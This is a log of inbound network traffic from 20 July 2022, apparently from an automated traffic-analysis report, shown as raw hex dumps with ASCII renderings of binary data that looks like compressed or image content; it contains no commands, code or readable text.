2022-07-20 04:06:51 UTC	5797	IN	Data Raw: b7 ec 7f 2e a5 0a 34 b6 cb 04 f9 79 e4 f3 d4 5c 81 60 69 bc 98 b3 e7 48 d2 63 f0 95 de 2d 25 8d f5 26 af 68 b1 fa 7f 5e a7 8f c9 e0 c1 ca 84 b0 3a a1 b9 03 61 04 5b b5 ab d5 f6 7d a5 0a c8 ef 02 ca 0a aa ac 69 ac 82 77 d9 75 2f 6b ea 54 4f 30 c8 68 9e fb f0 35 a3 40 5b 79 47 7f 87 e3 e2 50 80 fb 14 8c 78 31 a2 2d 61 f2 53 9c fc 31 cd b1 8c 65 48 56 2a 43 28 df 2a 3d 3d da ca e7 72 fe 67 c8 02 08 98 cb 05 c9 d3 6d 4b e8 4c 95 a6 e5 13 e8 44 c6 88 92 b1 0d a1 ba ff 00 0a 3d 3e ee 3a 96 89 b9 de 3a 64 c3 29 40 2e 40 16 17 f3 1f d1 a5 45 2b 40 4a 9c 4c 19 6f 09 3d 6e 0a 13 be 35 b9 ac 47 33 f9 8d b8 a9 f0 c5 d4 05 da a6 ea ca fd 97 df 4f 32 a7 ca f9 c6 53 b0 8b 0c 91 29 e8 53 b5 4f d9 fd b4 a6 5f 3b 43 88 56 29 80 1f 1a 4d a4 b1 ee 8e f4 c9 e3 a0 3e 5f e5 79 Data Ascii: .4y\`iHc-%&h^:a[}iwu/kTO0h5@[yGPx1-aS1eHVC(==rgmKLD=>::d)@.@E+@JLo=n5G3O2S)SO_;CV)M>_y
2022-07-20 04:06:51 UTC	5804	IN	Data Raw: e4 9f cd a9 e1 76 5c a5 77 a2 65 62 8a 57 70 ae ed b2 aa 66 9b 99 61 46 f3 ca e5 b1 35 9b 3a 32 ae eb 37 aa d1 df f3 29 07 cc 79 19 6c 57 07 20 f1 76 89 37 1b 59 fb b8 d6 49 7c 68 9f 87 5b de 7b 0e 2c 38 12 19 d7 d5 22 1b 20 d8 0b 36 e4 6a bf 88 ce fe ae b2 7c 9b 94 67 be 37 c5 b4 23 88 c8 c1 4e a0 8d e6 ee e9 ad 99 5e 48 a2 58 e2 5b b3 64 a1 15 f1 c3 2e 3f ee 63 fb cf b2 a0 10 00 dd 4f 37 d5 7f dd ff 00 c7 56 e6 41 14 18 69 9f 8e 8b 8f 8d ba ad 1b 13 ac 9d 4a 9f 11 0a 69 f6 89 bf c4 fb f8 e8 bc 34 c3 e7 0a 26 85 ee db 6e 45 c7 41 ed 2a 3f bb a9 e7 63 65 67 61 88 f2 a3 0a 8b 1a e9 67 0b a8 bb 0d 13 7a bf 77 b9 ff 00 3d 67 31 4c 7c 9d a6 6c 76 e2 44 36 29 be f2 9f 45 77 3d 64 9f 89 59 7f 8a 76 d1 32 2b 45 ee fb 9b 02 ca bc cb f0 a9 f0 97 08 32 25 b7 77 b2 Data Ascii: v\webWpfaF5:27)ylW v7YI\|h[{,8" 6j\|g7#N^HX[d.?cO7VAiJi4&nEA*?cegagzw=g1L\|lvD6)Ew=dYv2+E2%w
2022-07-20 04:06:51 UTC	5820	IN	Data Raw: af 20 1f 11 94 c5 de 64 da 07 65 7f 9b e2 a7 bc b3 97 e3 63 48 40 70 8c db c5 49 e9 66 f0 c5 dd a7 77 92 0e f8 94 89 91 a4 67 dc 6c 70 cd 61 4f 3e 1f ee 7d 9d 02 6e 6a de 02 80 c8 e5 eb 8c eb 2c 32 9d 08 c0 b0 27 b0 bf 57 f6 e9 b6 76 22 64 b4 72 40 59 89 5d cd a5 a3 d4 c5 75 3c 9a 7d 62 7f a7 4a 39 aa 0e 5d cc 1c de f8 f2 c4 aa e5 8e a4 13 12 ff 00 af 15 73 95 e4 4a 21 3c 09 83 86 6b 16 e9 28 9e 08 e3 ec 51 76 e3 f9 36 68 7b a1 d5 8e 44 5c d8 65 e5 ea 72 54 38 25 83 ae d6 dd a4 bf 3d eb 8b 2a 18 72 58 e4 02 8c 52 34 1b a8 fb b1 e8 8f 87 eb 1f eb d2 bc 0f 97 9a 28 78 d2 c9 1c 31 90 75 06 bf 15 3b ba 25 4d cf b1 5a 3e 60 89 fe ee 85 f5 44 b8 f8 f7 dc 03 5b 5c f8 97 5b ef a7 7e 90 73 7c ae 51 9c ca d1 b1 59 09 37 62 59 98 fd df 17 5b 55 99 e6 2c c2 28 fa ab Data Ascii: decH@pIfwglpaO>}nj,2'Wv"dr@Y]u<}bJ9]sJ!<k(Qv6h{D\erT8%=*rXR4(x1u;%MZ>`D[\[~s\|QY7bY[U,(
2022-07-20 04:06:51 UTC	5836	IN	Data Raw: e1 78 fc fa ae f3 08 98 23 d9 95 93 3c f8 7f c4 4f 3d 35 5c 3e cb 83 e8 7e 5a 4f 85 1c ac 40 9a c4 1d b7 04 6c f3 5e ac cc 8a 37 7b 5b 7b 49 0a 0e c5 3e 87 9c 94 3c 41 d6 50 91 a3 b4 c0 80 14 0e 93 7e c7 a5 4f 39 7f 2d 39 73 99 79 a4 12 26 3c 4b d7 b9 bc e7 44 5e 7f f8 74 2c 48 6c bc 2d c9 fd 4a b0 08 c6 d4 8a 28 62 12 a6 c0 19 88 b8 e9 d2 2f bd 4c 1b e5 ec dc 99 75 42 92 49 ab 51 01 57 4e c5 fc 69 ab 7b cb 79 56 90 15 84 31 98 f6 46 02 0d 40 7d e3 3f b4 e2 3f de 51 3c e2 5f 82 58 df 44 8d 3d 88 dd ec bd ff 00 6e ab c5 de 19 a4 64 42 13 a6 99 65 2f c2 a9 d3 65 63 39 1f 29 81 01 13 a3 17 d4 10 a8 3a 63 5e f3 34 f3 27 ae 92 6d 54 f7 0f 93 e2 f2 c8 25 c7 c5 2e 1a 56 0c 6e c4 ae ce f6 f5 1f c9 da 4c a8 a3 3c 31 1c 8e db 41 1f 6e 8c c9 82 1c 86 68 d8 28 64 3a Data Ascii: x#<O=5\>~ZO@l^7{[{I><AP~O9-9sy&<KD^t,Hl-J(b/LuBIQWNi{yV1F@}??Q<_XD=ndBe/ec9):c^4'mT%.VnL<1Anh(d:
2022-07-20 04:06:51 UTC	5844	IN	Data Raw: 7f ea f6 38 94 24 fc a3 1b 0b 95 64 cd 91 27 1a 63 d9 6d 46 db 37 20 dd f1 c7 5a 91 7f 2e d8 e2 77 65 68 fa 91 63 96 32 fe c5 28 97 06 c3 67 9a f4 0f 31 e6 38 18 41 86 1c b7 91 94 3a 91 de b9 de 83 29 7b 1a fc 15 35 e6 53 e7 e2 3f 08 10 8e da 5a fb f6 36 ec 69 f7 71 7e 85 64 e4 c2 94 32 4a 51 82 c9 72 a6 c7 4b 69 f6 9a 5b cd a6 1c 86 77 c6 ce 01 0b 5e e4 69 03 56 df 45 b7 19 6b 4e 4e d1 51 2e 0f 51 d7 de 64 f4 b0 c7 d1 b6 b4 1c 98 c9 8f 91 14 01 10 85 b9 27 a4 7f 3b d1 ad 5c 79 8a d2 97 66 0c 45 94 2a 0d 2b a4 7a cd 6c 8d df ac d3 e5 2c 79 2a d1 44 ca ec 41 90 b2 e8 ba 77 b8 7e 9d 1a 66 c9 32 ba c0 81 86 9b 8b b6 90 a1 75 6e 46 9e 65 67 4a ce ea 57 45 59 06 4c 3c db d4 6a 00 37 bb 13 e1 43 f3 9c b8 20 ca 96 09 d7 5a 4c 52 48 d6 ec 19 cc 83 44 9c 04 8f cf Data Ascii: 8$d'cmF7 Z.wehc2(g18A:){5S?Z6iq~d2JQrKi[w^iVEkNNQ.Qd';\yfE+zl,yDAw~f2unFegJWEYL<j7C ZLRHD
2022-07-20 04:06:51 UTC	5860	IN	Data Raw: 72 ac 7d ca c9 29 27 00 cd b9 16 5e dd 11 62 c3 96 be 7d 17 29 e6 d9 81 63 8e 09 02 9d 8a 4a 90 bd 3f d3 b7 4f b9 3f c9 1c c0 b3 ae 54 81 63 03 6a f6 98 f9 f1 d6 b1 b1 32 94 d9 4f 5e 95 b5 c7 ea d1 50 f2 99 24 4f 5d 2a 02 46 80 08 2c c3 eb f1 12 8f 3e ea 4b c7 d2 c3 d8 e5 f9 f2 d4 70 ea c7 f4 de b3 5f fe 29 60 e3 38 96 55 95 c2 8d a1 9b 73 fc af d4 d7 5a 3e 53 ca b9 4b 3a f0 f1 e2 1a 56 e6 eb 7d a7 f8 9b 94 62 62 c7 86 b6 70 ec c4 80 74 ef 2f a7 fb f4 bd f0 c3 e4 32 e3 48 c5 62 6d 41 10 ed de f1 6e f7 7d 67 0e 8a 18 67 ed ed 34 99 4f bb 8b 41 ce 95 d8 86 bd 89 03 cd cb 43 0c 19 71 e3 2b 8e 1a 26 62 f6 58 ed ba b7 d3 eb 27 93 47 aa 4a 2b 1f 2d b0 dd 30 b3 a5 8f e2 1d 75 a1 56 d8 47 d6 d0 d1 d4 84 f0 3e 97 75 66 24 95 64 2d a8 33 7b a8 bf 89 27 6e 97 66 72 Data Ascii: r})'^b})cJ?O?Tcj2O^P$O]*F,>Kp_)`8UsZ>SK:V}bbpt/2HbmAn}gg4OACq+&bX'GJ+-0uVG>uf$d-3{'nfr
2022-07-20 04:06:51 UTC	5876	IN	Data Raw: 18 86 00 77 fd 3f e9 c3 a4 fc cb 9f 43 3f 2d d3 14 2b 1b bb 58 1d 6c 64 fe 25 58 ec a1 9b d2 96 95 71 de cf 18 b1 a5 cd 28 62 14 82 a6 fb 2b 5b c9 22 5e 59 cb 51 f2 36 4d 21 bb 93 d2 5c f7 3f 97 4c 25 c8 29 8b f1 90 c2 f3 b2 02 0c 6b b3 55 fb db ff 00 77 5f 3c e5 5f 32 73 0e 5a ea d9 21 e5 88 0d 8a c0 ad bc 2d ad 96 9d e7 fc e7 97 cc 0c 70 72 95 bc ac 80 b9 b5 d9 4f 7e 18 97 d9 fa 72 d3 bb 4e d0 43 24 92 4c 51 f2 df cb 14 92 2f 53 07 fb 3a 60 6b a8 1a ab 53 cf 80 cb 95 91 cb c5 c1 50 0b c6 a0 ab 6d ee a3 bf 83 f9 75 c9 39 5e 33 e4 09 9d 04 ac 80 85 57 27 4a ea f3 28 51 ce 19 02 47 9e 8e 8c f6 bb 5a cb f6 e9 07 3f cf cd d4 f0 62 b0 58 6e 77 d3 74 b8 3d d9 65 fd ca 4c 73 5d b0 84 7f 2e 0e d6 7f 7b 14 9e bf b7 4c ca ca 6e 49 3e 5a 7f cd da 09 b2 23 18 e9 10 Data Ascii: w?C?-+Xld%Xq(b+["^YQ6M!\?L%)kUw_<_2sZ!-prO~rNC$LQ/S:`kSPmu9^3W'J(QGZ?bXnwt=eLs].{LnI>Z#
2022-07-20 04:06:51 UTC	5884	IN	Data Raw: 5c 69 50 3d 0e fb d6 a6 4c e8 00 e1 07 0c 40 b9 6b 1d 3b 7c f8 fd 5d 70 e0 ae 66 9e 32 21 d1 b5 76 ea 22 a2 29 8c 7a be 5f 25 11 5c b6 56 5b 1e 29 20 d0 03 09 01 dd b8 36 e1 ba fd ec 49 4c db 15 4c 3a e7 41 24 44 92 09 f5 6c 9f c4 58 bd 5c 9a 3d 0e c5 55 cd be 59 d2 b2 64 e0 92 18 c8 03 20 3e ad 41 f7 ba 7b 8e be f2 a7 83 06 5e 46 cc 87 1c 12 83 48 1b da 8f 79 df f6 2a e3 b8 28 1c 10 33 de bf 04 bf 33 f2 fb 2a 5e 16 60 79 97 77 fb 74 8b 21 73 39 75 e4 90 2e 56 13 90 43 37 4c 64 9d 28 9b ff 00 af 42 cb a3 2f 21 ce 9d 31 0e d8 1e 51 fd 3d 5d 6a 78 f0 e9 0e cd ea df 77 49 20 ea b7 6b 73 fc aa c7 f3 4c 3c 88 66 12 22 95 c4 9a e5 09 ec a3 7d df 19 3d e7 73 d6 55 ae d9 8c a4 e9 83 a8 e2 f3 7f e4 ab 31 f7 1c 8e 77 fc 3d 6a af 2b 0d 4f ac 8f 7e 32 6d 6b da 4d ee Data Ascii: \iP=L@k;\|]pf2!v")z_%\V[) 6ILL:A$DlX\=UYd >A{^FHy(33^`ywt!s9u.VC7Ld(B/!1Q=]jxwI ksL<f"}=sU1w=j+O~2mkM
2022-07-20 04:06:51 UTC	5900	IN	Data Raw: 1e 03 b4 92 8c 96 ba b3 06 8d 81 b3 5b b1 be c9 a7 d6 e9 a3 4e 92 e3 2b b1 dd 65 eb 76 d8 71 a6 7f e1 50 6b 62 ab f3 5a b3 59 5c 9a 2c c0 f3 60 4c 44 ae 49 68 dc 15 90 5f 7b d6 c3 fb 7e ca 98 f2 af 95 f1 f9 45 e7 9a 4e 24 96 da 7b 16 f1 70 f7 bb b4 fd 30 60 40 10 22 ec db f9 7d 2f 1d 53 cc 39 4e 3e 49 49 5c 12 c8 08 01 76 51 4f df 09 ce 31 8f e5 e2 c7 de 05 fb 4f a7 fe 9a 54 a4 65 35 27 26 a0 65 e4 38 79 98 bc 28 dd c4 6e 75 06 d6 4f d5 df f1 d5 90 e0 72 de 57 65 68 20 4d 4a 15 0b 1d ae c3 b5 eb 1f bf 46 88 e4 81 22 8e 05 22 2b 90 c2 c2 eb b3 75 f7 b7 e8 3c ec 35 91 f8 92 c5 1c f1 a7 76 d7 6b f8 b7 fd 5a 7e 25 2a 39 e4 8c 81 99 c1 f7 b7 c2 3f eb d1 11 fd 35 54 50 72 d5 24 06 13 c8 ec 4e 95 6b 9f d1 7f 75 e3 96 8d e5 c0 43 26 93 02 20 3b 01 b8 77 63 e9 2e Data Ascii: [N+evqPkbZY\,`LDIh_{~EN${p0`@"}/S9N>II\vQO1OTe5'&e8y(nuOrWeh MJF""+u<5vkZ~%*9?5TPr$NkuC& ;wc.
2022-07-20 04:06:51 UTC	5916	IN	Data Raw: 24 4c 16 6d 2a 3f fc 13 7e 3d 1f ca ac ee 22 3e 2c 8a 63 b3 5a 40 6e db 10 e8 3b ba fc c7 ad 1c fc ca 19 35 4d 90 89 0e 56 a3 6d 1b 9d 5e cd 74 b6 a8 e9 1d c3 60 85 82 75 b3 f8 9f b1 fd dd 74 58 31 20 1c 31 d8 be 6a f3 ac 33 6b c4 cc 49 61 8f 5d e2 d6 81 2c 5c 7a c6 7c d8 91 21 ed fb 34 aa f3 30 e3 78 99 84 c7 21 e2 60 18 31 ec af 61 3d 5a 77 bf 17 de d3 2f 96 79 8e 74 a8 f0 48 38 b0 35 83 29 3b e0 b9 f7 3a d7 82 d1 a2 f6 f8 9d ba e7 cc 18 f9 1c b7 8b 1c 7c 35 8d a3 20 95 5b b4 83 76 3d fe 23 71 22 e0 f8 3d 95 23 a0 55 4c 82 43 1a 36 92 22 a7 52 2c fc 8b 53 16 2c ea d8 e4 ca d9 5c d2 99 f1 61 99 09 92 d1 f4 29 b9 16 3e cf 82 fa 3c fe fd 64 f9 ac 63 1f 27 86 0d c0 24 8f c9 dd ad 8f c3 97 88 cb 15 89 8d 1d 49 3e 78 d4 af 37 f0 5f 7f cc ac c4 3c bd 72 22 93 Data Ascii: $Lm*?~=">,cZ@n;5MVm^t`utX1 1j3kIa],\z\|!40x!`1a=Zw/ytH85);:\|5 [v=#q"=#ULC6"R,S,\a)><dc'$I>x7_<r"
2022-07-20 04:06:51 UTC	5924	IN	Data Raw: 41 85 8e 56 02 22 53 72 4b 1b b1 3e 7c 9d fa e6 24 46 29 c6 d2 51 ae a5 d4 5a 40 3f 0b fe 4a ab 92 73 d8 39 da 15 41 a2 48 bb a4 6a 20 78 e9 8a a3 c2 bb a4 3b 5b 65 f7 6e 7c f6 aa ce e6 23 bd 97 f3 39 e4 f9 ff 00 97 bf 46 8a 2d a1 ac cf cf 59 b1 c3 14 78 58 f3 16 db bf 10 1e b0 af 71 a6 93 fe 9d 63 33 b1 99 74 95 06 da 7c 95 f5 b8 f0 15 a4 19 06 24 59 c6 d0 fa 46 c7 b6 8f af 49 b2 b9 d7 2e cb c9 7c 2e 6b 12 a8 56 21 5c ed 57 3d ed e5 ec 56 ac 1f 8b 81 61 14 5a 47 ac ab 1d 26 58 b2 25 89 d3 86 be 56 b1 b6 bd 2a 2e 7a ab 55 f2 19 45 cd 63 97 29 8d 63 4d 41 35 69 d6 d7 f0 27 b4 d3 e0 a3 7e 73 f9 5f 17 02 25 ce c2 6d 0a e6 da 6f 75 e8 f7 6f 59 8e 41 cd 97 93 66 0c a7 52 f6 56 16 eb bb 56 b4 92 af e2 7d 93 18 43 64 e3 15 53 ba f9 f9 2a a0 4e 93 8c b8 6b ec f3 Data Ascii: AV"SrK>\|$F)QZ@?Js9AHj x;[en\|#9F-YxXqc3t\|$YFI.\|.kV!\W=VaZG&X%V.zUEc)cMA5i'~s_%mouoYAfRVV}CdSNk
2022-07-20 04:06:51 UTC	5940	IN	Data Raw: 59 16 b8 a3 3c 4d 9f 96 d7 35 4b e6 89 94 2d e4 2a b7 1b 09 03 67 63 47 73 dd f1 37 fc ca a2 a1 af a6 b5 61 ac 7f 3d 54 f8 f1 5e cc d6 20 ed 27 65 b6 e9 f1 68 a5 79 aa b8 cc 62 94 16 62 76 5b bb f8 7e 9d 35 4c 9d 1a 9e 2b 2b 81 b3 56 f5 c6 e6 ee ff 00 63 d0 dc a0 27 c4 9b 25 83 5d d8 81 72 09 b6 f5 fb 5f 62 ad 42 6c db e6 cb 4b 75 be cd b5 e1 83 a1 42 85 5b da f6 f4 be eb ef 3b 15 c9 f1 12 25 24 11 a5 46 d2 0d bf e7 a9 c1 1d 81 5b 68 f2 5c df 6f 77 d9 ef 6b af 73 39 38 c8 b1 a7 b4 1b ce 6d db 6f 33 cd ef d1 86 6c c0 be 9c c6 98 00 b6 be 8a 5d 12 b0 16 62 01 bd 87 d3 56 e4 be 85 04 30 2d b0 5e a5 a5 4a 28 4b 95 d4 0e de d1 f1 6e fa 74 0e 4b eb 36 1a bc 9b 7a 6a c2 ef 1b d2 98 d8 57 35 1b ed 3b 0d 89 fc d4 4c 82 38 b2 1a 3d 5a 90 81 63 e5 d4 38 89 43 42 9a Data Ascii: Y<M5K-*gcGs7a=T^ 'ehybbv[~5L++Vc'%]r_bBlKuB[;%$F[h\owks98mo3l]bV0-^J(KntK6zjW5;L8=Zc8CB
2022-07-20 04:06:51 UTC	5956	IN	Data Raw: a1 4d ad 6e 83 d8 fe 5e 8a a1 d2 29 50 bc 9b ce 0f 41 fc bc 3a 1e 7c d6 88 aa a8 d4 d2 01 a5 88 f2 ff 00 7a ba f1 b9 9d 75 10 c3 48 da 06 cb 8e d5 42 a5 ad cb 52 48 a2 67 85 03 95 5b 1d 4f 70 47 46 9f 77 aa 97 64 03 09 e2 41 d9 17 24 30 06 d4 e2 53 1c 71 ac cb 6d 45 94 8b 74 6e ef cc c9 da fd 3a 5c d1 a3 ea 2c 4b 31 62 4e cd 84 77 6b a2 6f 4e cd 9e d5 43 0a 82 c2 52 05 63 d0 46 ab f5 ef 69 fd 4a ad db 88 57 a8 6d da 7c bf b7 44 12 4c 7a 09 16 5d 20 db a6 de 75 4a 18 75 ef 4a 37 47 5d 33 2b 5c 9a 1b 5e a4 ed c2 46 5b ea 65 04 6d 1b 35 0d 3f a7 54 18 25 86 25 ca 56 d2 0d c5 d4 e9 22 de 67 8d bc ca b2 77 72 fa 5c 58 b0 b1 b6 db f8 37 bd 1a 86 2c 65 2c 41 d2 e4 85 0a dd 9b b7 bd d5 27 b3 4e fa 54 0d 05 ff 00 a7 d6 a9 62 4e 95 21 1e 49 1a e0 25 9c 9b c9 aa db Data Ascii: Mn^)PA:\|zuHBRHg[OpGFwdA$0SqmEtn:\,K1bNwkoNCRcFiJWm\|DLz] uJuJ7G]3+\^F[em5?T%%V"gwr\X7,e,A'NTbN!I%
2022-07-20 04:06:51 UTC	5964	IN	Data Raw: 51 6d e6 e1 bb fe 1c 74 d2 a4 aa a9 39 06 5e 1e 7a 54 a1 90 b5 c0 8c 32 71 22 f5 99 97 d7 4f bc a1 30 e0 9e 5c e9 22 68 06 41 81 99 74 6d d3 fc 5d c6 4d 7b 94 e7 9f ca b0 98 f1 a3 52 b3 40 ca ea 1b a1 78 83 d8 43 f8 30 d4 33 7e 58 c9 9b 23 22 68 8b 09 35 6a 50 06 c9 2c ab bf 1c fa bb fe ee 95 73 3e 64 33 32 62 62 c5 a6 31 00 de 5b a6 ad 5a a9 56 e8 a9 c7 77 8a aa c0 23 dd 72 e1 82 0c a4 3b df 16 5f 87 9f cc f7 54 24 59 b2 ac eb 3e a2 24 0c 1a e3 66 da 9e 2e 06 4e 5c 9a e2 56 99 cb 13 b0 6a b9 ed ef 51 78 fc a5 73 6d 1c 6c a8 e4 5c 16 27 4f e8 d7 25 f8 ce 57 1b 42 a1 91 76 29 70 08 57 20 fb b9 7c 14 0b 27 51 14 ec 19 ef 3d 5d eb 07 20 45 82 49 c3 bf c2 d1 d5 b9 98 72 f3 ec 77 c4 c8 0b 1e 74 6f 78 b5 01 16 b1 bd c7 c6 ec f6 be ea 97 61 62 60 b0 4c 7d 3a 25 Data Ascii: Qmt9^zT2q"O0\"hAtm]M{R@xC03~X#"h5jP,s>d32bb1[ZVw#r;_T$Y>$f.N\VjQxsml\'O%WBv)pW \|'Q=] EIrwtoxab`L}:%
2022-07-20 04:06:51 UTC	5980	IN	Data Raw: 4f c8 30 a7 62 ef 0a ea 3d 24 0d a6 a9 cb f9 6f 0b 25 55 5d 34 e9 16 52 bb 0d be ad 38 26 bd 44 27 95 6d 66 6d 36 6f 57 62 2b 35 27 c9 78 4c 41 52 c0 8e 8d bf ad 55 cb f2 4c 4e 6e 24 20 f5 d6 a4 8b f4 9a f5 85 3b f9 de e0 0b 66 d6 a1 c1 6f 7a ca ff 00 f8 95 6b 68 9e c0 74 dc 5c da bc df 26 31 f7 a0 9b f5 8e aa d4 d8 57 b4 8a ef e7 a7 f3 7d 55 a9 c0 56 4d 3e 4b 91 1c 95 91 40 3d 76 24 d4 87 ca d9 3a 15 1e 40 42 5f 48 03 4d 81 ad 4e 91 5c d3 53 fc f4 de 27 ea d4 14 06 b0 d3 fc a7 9a ad 61 67 50 76 1a 87 fb 4e 7c 43 80 f0 92 b7 b8 23 6d 6e 99 5a a0 ca e6 9c 3f 10 90 e8 c1 1a 84 a0 35 f3 79 70 32 44 e6 59 61 7b a8 b6 d1 d3 e1 a0 9b 0a 68 1f 89 32 b0 2f f4 75 d7 d3 99 e4 5d 85 6f 50 66 57 ed c7 b4 55 a5 fc 49 80 b6 22 de ab 50 74 c0 24 f8 9a f9 d4 58 73 ec 7d Data Ascii: O0b=$o%U]4R8&D'mfm6oWb+5'xLARULNn$ ;fozkht\&1W}UVM>K@=v$:@B_HMN\S'agPvN\|C#mnZ?5yp2DYa{h2/u]oPfWUI"Pt$Xs}
2022-07-20 04:06:51 UTC	5996	IN	Data Raw: e7 ba 9b b9 5c 9d 47 47 2e 15 a7 26 9a 9f 0f 4f 2d 74 64 70 e6 e1 3d d9 d7 7b 67 66 8a 8f 36 5e 92 bf 9e a9 92 75 5b 47 b6 dd 44 7e f5 59 ad 9c 00 2f 65 e8 14 83 37 4c 91 16 51 01 bc be 66 6f 5e 88 d8 f8 57 83 33 ed 3b 49 35 d5 de 37 35 ed 42 c0 30 de eb 35 00 e7 b3 71 6e a1 d1 55 c8 17 b9 39 13 bd f3 bd 7a 8a b9 88 b5 93 ff 00 de 6b bc 46 88 69 04 5b af ae 84 6e 61 1a 30 59 5b 77 f2 52 b6 f9 8a 38 d4 eb 0a 85 d8 88 ef b6 f6 f4 3b f5 65 03 92 5e 3d c2 77 6e 9b 98 ff 00 77 5d 8f a6 9a 73 0c a6 c4 80 bc 7e b1 f6 1d 1e 5b f8 6a b1 98 c1 2e c8 4b db a2 a3 8b 96 af 1a 96 20 1b 5e bd ae 01 27 12 e2 ef fd b4 96 37 d0 af 0f b5 53 6a 5e 60 cf 32 24 bc 60 a2 f7 d0 c3 50 02 dd 95 f3 aa c3 cc 26 85 95 9c 16 52 c1 49 02 c8 2f f5 b7 59 e8 dc 7c c8 72 2f c2 60 e1 49 eb Data Ascii: \GG.&O-tdp={gf6^u[GD~Y/e7LQfo^W3;I575B05qnU9zkFi[na0Y[wR8;e^=wnw]s~[j.K ^'7Sj^`2$`P&RI/Y\|r/`I
2022-07-20 04:06:51 UTC	6003	IN	Data Raw: ed 5e e2 82 2f a6 f5 0b b3 1b 00 49 3b 2d 5e 12 80 ba 4d ef 7f 2e cf af 53 8d 75 fc 2b b2 38 b7 41 17 fa 6a 46 7d 63 45 c8 fa 05 7b 48 eb 37 3e 42 2b 8e 40 e9 1b 47 46 da ed b5 22 bc 0a 9d 86 e4 ff 00 6d 49 55 58 5f 6e cf e9 a6 aa 89 83 12 74 ec 1e 4a b7 e2 06 38 d2 db 0f 4d 8f 4e de f2 e9 a9 2a 7c 2a 01 be 95 d4 58 ce c6 d9 73 46 1c 6b 9d 01 86 a0 2f d5 4b b8 ca fd 00 5b e9 af 32 d9 b5 2e cb f4 d0 15 27 c6 d5 34 54 70 b1 26 e4 6c ea bd ff 00 56 ba d8 ce 82 ec 40 5f 28 a0 2e c0 95 51 b4 74 d5 a9 3c 9a 74 b9 36 1d 5e 5a 92 8d e9 15 df 9e ac 64 d7 da 04 93 d1 b6 db 3d 1d 35 0e 13 25 b6 12 3a ad 5e 19 0a 0e dd 83 c9 52 32 c8 c0 3a ec 06 bb 51 f9 ab 85 42 6c e9 55 d5 02 b1 1e 5e 9a 92 b3 2b 6b f2 f9 2b af 21 be dd a3 fa 6e b5 74 ac 86 da 74 91 d4 07 47 d6 ae Data Ascii: ^/I;-^M.Su+8AjF}cE{H7>B+@GF"mIUX_ntJ8MN\|XsFk/K[2.'4Tp&lV@_(.Qt<t6^Zd=5%:^R2:QBlU^+k+!nttG
2022-07-20 04:06:51 UTC	6019	IN	Data Raw: 5a 32 34 85 81 50 7a 7c 83 bb 55 c6 89 09 e1 c2 55 14 dd ad d2 4e ad ee 27 da a1 64 80 4b 2e ea 82 36 87 b1 22 df 5d 3f d5 e1 d7 31 24 90 a8 05 77 8b 30 1d 3a ac bf 8b 2a 45 ab 73 c7 50 22 5c 32 07 da 8e 86 c6 e4 54 c6 44 cc 03 c8 11 a3 37 d4 a0 ef e9 5e c7 0d 74 fa c7 d5 40 1e 71 c3 68 f1 49 5c 66 3b 6c ca 49 b5 f5 f6 fd 9c 52 ba 77 29 94 92 29 1c 1c a5 3a 48 3b 54 6f 0f 3f 8c bb 95 e0 b8 59 5a 59 08 74 ec 85 24 15 27 77 4f ab fb c4 ab 29 db 86 8c c8 b8 c8 a8 32 2a 9c 69 fd dc 9f 12 98 37 46 bf a2 86 93 98 c8 92 6a 20 34 62 e1 0a ef 6a d5 f7 ad ee ea fc 3c 81 3d ec 0a 10 01 40 de 13 da d0 8b fa f5 56 7c 99 51 1b 62 40 b2 a3 76 8e ad 1a 7c 5f c5 93 cc a8 e2 63 4f 34 42 24 d1 1a c5 d3 a9 b6 f9 ea d9 09 ad df 89 fc ba 5c 70 89 54 05 c1 5d b7 51 72 df 6f 99 Data Ascii: Z24Pz\|UUN'dK.6"]?1$w0:EsP"\2TD7^t@qhI\f;lIRw)):H;To?YZYt$'wO)2i7Fj 4bj<=@V\|Qb@v\|_cO4B$\pT]Qro
2022-07-20 04:06:51 UTC	6035	IN	Data Raw: f6 5a f4 f0 b2 c0 ec 58 83 2c aa bb 7a d4 a8 fb bd 5e 7d 07 97 91 26 4c 17 c6 37 25 b6 1d 85 86 ce 24 53 2f 8d 78 9b 94 9a 5c 85 96 51 90 9a e3 76 60 49 54 66 6d 7d 96 5e 26 e6 37 f4 96 a1 ca f3 67 c2 59 22 95 9b 8d a8 92 b6 5d 97 de fe 9c 39 29 af db a8 25 97 79 57 48 d6 4e 3f 6e 99 d3 03 ff 00 d6 8a 49 b2 a0 c6 8f 8e 08 91 d5 d8 6b 52 83 cf 81 1b c5 ef 3d 67 0f f0 eb b8 d8 ed 1c 44 c5 24 8d 20 0b ad b6 6d bf ac 8a 46 f3 2a ec 6e 69 1c d0 a6 d2 91 dc 69 57 0d 72 1b 77 bf af b7 ed 22 9b f9 74 26 36 5a 97 42 d1 b0 65 dd b1 1a b7 3d c4 9e af 73 5f f1 91 3f 0a 84 83 ad 97 1f 16 14 04 58 d3 97 79 15 24 90 4a 0b ad cb 58 5b 75 7f 0e 97 9c 7c b5 55 6c 61 a4 b2 b1 ba 91 b0 bf 63 8c 9d d8 b4 c7 f8 9e 65 71 f8 4f 90 c7 4b 17 d3 ba e0 d9 b7 b7 74 af bb f3 3b 1f 77 Data Ascii: ZX,z^}&L7%$S/x\Qv`ITfm}^&7gY"]9)%yWHN?nIkR=gD$ mF*niiWrw"t&6ZBe=s_?Xy$JX[u\|UlaceqOKt;w
2022-07-20 04:06:51 UTC	6039	IN	Data Raw: 6d 5a 16 50 2c 31 47 fe bd 6d c9 d8 11 77 8b 83 c3 2a 62 b3 2c 23 8b 32 ee a9 b5 cb 69 8d 88 67 5f 5d 2b 54 67 cd f8 c9 74 b2 0e 2b 95 d2 c8 7d 5e 83 ba 88 8f e0 dc ab 39 54 70 c7 11 48 65 9b 44 a3 49 46 3a 95 c9 55 d7 ea bd 97 99 ec fe ea a9 4c 33 04 c7 2b 24 07 0b ba a5 4b 2a dc 0d d5 68 9f 47 72 bc fc 91 a4 6e ca 72 ea a6 e9 e5 df f2 26 fd 66 14 65 24 37 85 53 8b cb 0c d8 b2 48 fa 84 e0 dd 00 3e cc 6a d0 ff 00 11 1f b4 ee 3e 8f e1 d1 8b ca a2 38 b7 79 19 9c 76 4f 42 03 d8 df af 20 c8 c7 32 32 90 71 9b 79 b4 df 71 98 6f 77 77 f7 3f 89 eb 3d 65 11 81 84 64 90 47 ac 34 24 81 e4 31 ec fb be e3 ea ec 71 3f 89 49 92 46 d4 e5 65 be 62 df e9 d7 63 e8 aa e5 ca 83 06 22 d1 8d 2c 36 95 3d f3 e0 e2 7f 4e 1d 03 0f 30 8c 33 68 46 06 4d e4 1b 35 6d df ec 2f 62 